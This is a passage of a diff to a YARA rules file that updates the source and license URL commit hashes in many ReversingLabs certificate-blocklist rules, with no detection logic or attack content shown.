 		logic_hash = "d3ce83fb0497c533a5474d46300c341677ec243686723783798bfbaec4f6e369"
 		score = 75
 		quality = 90
@@ -14081,8 +14134,8 @@ rule REVERSINGLABS_Cert_Blocklist_0B980Fc8783E4F158E41829Ab21Bab81 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9456-L9472"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9456-L9472"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b0f43caec1cfc5b2d1512d7fcf0bcf1e02fc81764b4376b081f38c4de328eab2"
 		score = 75
 		quality = 90
@@ -14106,8 +14159,8 @@ rule REVERSINGLABS_Cert_Blocklist_D8F515715Aeffef0A0E4E37F16C254Fa : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9474-L9492"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9474-L9492"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3c7d57a655f76a6e5ef6b0e770db7c91d0830b6b0b37caef5ef9e3e78ad1fd75"
 		score = 75
 		quality = 90
@@ -14131,8 +14184,8 @@ rule REVERSINGLABS_Cert_Blocklist_D79739187C585E453C00Afc11D77B523 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9494-L9512"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9494-L9512"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6d6db87227d7be559afa67c4f2b65b01f26741fdf337d920241a633bb036426f"
 		score = 75
 		quality = 90
@@ -14156,8 +14209,8 @@ rule REVERSINGLABS_Cert_Blocklist_961Cecb0227845317549E9343A980E91 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9514-L9532"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9514-L9532"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c74512e95e2d6aedecb1dbd30fac6fde40d1e9520c89b785519694d9bc9ba854"
 		score = 75
 		quality = 90
@@ -14181,8 +14234,8 @@ rule REVERSINGLABS_Cert_Blocklist_1Ef6392B2993A6F67578299659467Ea8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9534-L9550"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9534-L9550"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f6b454a575ea7635d5edebffe3c9c83e95312ee33245e733987532348258733e"
 		score = 75
 		quality = 90
@@ -14206,8 +14259,8 @@ rule REVERSINGLABS_Cert_Blocklist_A918455C0D4Da7Ca474F41F11A7Cf38C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9552-L9570"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9552-L9570"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ea30d85c057f9363ce29d4c024097c50a8752dd2095481181322fe5d5c92bb4b"
 		score = 75
 		quality = 90
@@ -14231,8 +14284,8 @@ rule REVERSINGLABS_Cert_Blocklist_936Bc256D2057Ca9B9Ec3034C3Ed0Ee6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9572-L9590"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9572-L9590"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7e90c29bcfe4632e70b61a0cf2ab48a3de986bd5c6c730f64a363f4f3d79a3f4"
 		score = 75
 		quality = 90
@@ -14256,8 +14309,8 @@ rule REVERSINGLABS_Cert_Blocklist_Afe8Fee94B41422E01E4897Bcd52D0A4 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9592-L9610"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9592-L9610"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "02c55b182bc9843334baed9c0a7cca2c88cd1de00ca9b47b10ec79b7a5acf9bb"
 		score = 75
 		quality = 90
@@ -14281,8 +14334,8 @@ rule REVERSINGLABS_Cert_Blocklist_718E89Ddb33257Ea77Ba74Be7F2Baf1D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9612-L9628"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9612-L9628"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2f0defa1e1d905d937677e96f2a0955d9737f6976596932cc093fdecfea3fdb0"
 		score = 75
 		quality = 90
@@ -14306,8 +14359,8 @@ rule REVERSINGLABS_Cert_Blocklist_4D3E38F4Aebbc32257450726B29Be117 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9630-L9646"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9630-L9646"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f618547942fcd9b3d1104cb5bedeecec8596fa7cc34bca838b6120085b305d73"
 		score = 75
 		quality = 90
@@ -14331,8 +14384,8 @@ rule REVERSINGLABS_Cert_Blocklist_8F4C49Dae1F1Ff0Ebe9104C6F73242Bd : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9648-L9666"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9648-L9666"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a8c99cc30b791a76fe3cd48184bf95ee47abb30bd200128efd2f5295ee18f7b1"
 		score = 75
 		quality = 90
@@ -14356,8 +14409,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ac3C05F1Cb9453De8E7110F589Fb32C0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9668-L9686"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9668-L9686"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6328fd5dbb497c69ddc9151f85754669760b709ecbff3e8f320a40a62ca0dd2c"
 		score = 75
 		quality = 90
@@ -14381,8 +14434,8 @@ rule REVERSINGLABS_Cert_Blocklist_Fbb96A90B6718810311767Ca25Ab1E48 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9688-L9706"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9688-L9706"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "431e3364a42b272d9b71b92dee44cc185ef034a45a0b72bbda82cf7e9b29c355"
 		score = 75
 		quality = 90
@@ -14406,8 +14459,8 @@ rule REVERSINGLABS_Cert_Blocklist_Cfd38423Aef875A10B16644D058297E2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9708-L9726"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9708-L9726"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a2f67cbf31c9db2891892c31a7ed4ce7eccd834bfb10ae70f58e46f8e68e7c17"
 		score = 75
 		quality = 90
@@ -14431,8 +14484,8 @@ rule REVERSINGLABS_Cert_Blocklist_E6C05C5A2222Bf92818324A3A7374Ad3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9728-L9746"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9728-L9746"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bea8fea49144abc109e33a5964bb8e113aa61b4cd70c72a43183cb0840429571"
 		score = 75
 		quality = 90
@@ -14456,8 +14509,8 @@ rule REVERSINGLABS_Cert_Blocklist_75Ce08Bdbad44123299Dbe9D7C1D20De : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9748-L9764"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9748-L9764"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8ba66ab55f9a6755e11a7f39152aa26917271c7f6bc5ffdb42d07ad791fb47d7"
 		score = 75
 		quality = 90
@@ -14481,8 +14534,8 @@ rule REVERSINGLABS_Cert_Blocklist_333705C20B56E57F60B5Eb191Eef0D90 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9766-L9782"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9766-L9782"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "30eeec467b837f6b1759cd0fd6a8bc2e8942f2400df170c671287f4159652479"
 		score = 75
 		quality = 90
@@ -14506,8 +14559,8 @@ rule REVERSINGLABS_Cert_Blocklist_A2A0Ba281262Acce7A00119E25564386 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9784-L9802"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9784-L9802"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f5e3c16f6caaf5f3152d90dc48895d0bbcdb296c368beeebb96157f03a8ded40"
 		score = 75
 		quality = 90
@@ -14531,8 +14584,8 @@ rule REVERSINGLABS_Cert_Blocklist_338483Cc174C16Ebc454A3803Ffd4217 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9804-L9820"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9804-L9820"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7d7dd55eaab15cf458e5e57f0e5fbebdcc9313aee05394310a5cf9d9b4def153"
 		score = 75
 		quality = 90
@@ -14556,8 +14609,8 @@ rule REVERSINGLABS_Cert_Blocklist_Be89936C26Cd0D845074F6B7B47F480C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9822-L9840"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9822-L9840"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "348df24620bfe6322c410cb593f5caad67492b0b5af234ee89b0411beb4b48f9"
 		score = 75
 		quality = 90
@@ -14581,8 +14634,8 @@ rule REVERSINGLABS_Cert_Blocklist_0F20A5155E53Ce20Bb644F646Ed6A2Fd : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9842-L9858"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9842-L9858"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "70d57f2c24d4ae6f17339bfb998589a3b10f5dd4b19ac8a5bc99e082145c4ed0"
 		score = 75
 		quality = 90
@@ -14606,8 +14659,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ea734E1Dfb6E69Ed2Bc55E513Bf95B5E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9860-L9878"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9860-L9878"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a18d1c1e5e22c1aa041a4b2d23d2aefcbedbd3517a079d578e1a143ecadb4533"
 		score = 75
 		quality = 90
@@ -14631,8 +14684,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ba67B0De51Ebb9B1179804E75357Ab26 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9880-L9898"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9880-L9898"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "69b9012fc4ab9636d159de49ff452f054030c1157cf70a95512b2a0748dad7c0"
 		score = 75
 		quality = 90
@@ -14656,8 +14709,8 @@ rule REVERSINGLABS_Cert_Blocklist_Cff2B275Ba8A1Dde83Ac7Ff858399A62 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9900-L9918"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9900-L9918"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d37e1d94048339a86b8fa173d3ab753fc5e79329b73df9fda5815cd622c57745"
 		score = 75
 		quality = 90
@@ -14681,8 +14734,8 @@ rule REVERSINGLABS_Cert_Blocklist_D22E026C5B5966F1Cf6Ef00A7C06682E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9920-L9938"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9920-L9938"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "33a05d46b40ffdf49bfa5facca41ebdf6bedcabc1cb1f5b9bf2d043ad1c869b0"
 		score = 75
 		quality = 90
@@ -14706,8 +14759,8 @@ rule REVERSINGLABS_Cert_Blocklist_3054F940C931Bad7B238A24376C6A5Cc : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9940-L9956"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9940-L9956"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "21c8e8f10d1e4b9eb917c86ac868de2afcd5776a9c1d59149df1d07d8c3e14b9"
 		score = 75
 		quality = 90
@@ -14731,8 +14784,8 @@ rule REVERSINGLABS_Cert_Blocklist_A617E23D6Ca8F34E2F7413Cd299Fc72B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9958-L9976"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9958-L9976"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f307a0b598f0876c003aa43db50e024698b6f93931e626c085f98553c14ec2ae"
 		score = 75
 		quality = 90
@@ -14756,8 +14809,8 @@ rule REVERSINGLABS_Cert_Blocklist_387Eeb89B8Bf626Bbf4C7C9F5B998B40 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9978-L9994"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9978-L9994"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2377eeb5316d25752443735e78d0ad7de398a2677f5a0fd45fd6e6c87720d49b"
 		score = 75
 		quality = 90
@@ -14781,8 +14834,8 @@ rule REVERSINGLABS_Cert_Blocklist_292Eb1133507F42E6F36C5549C189D5E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9996-L10012"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9996-L10012"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bc3ef217455b74900cae114d25b02325d2bef25c11873342df1dd2369cbce76a"
 		score = 75
 		quality = 90
@@ -14806,8 +14859,8 @@ rule REVERSINGLABS_Cert_Blocklist_5Fbf16A33D26390A15F046C310030Cf0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
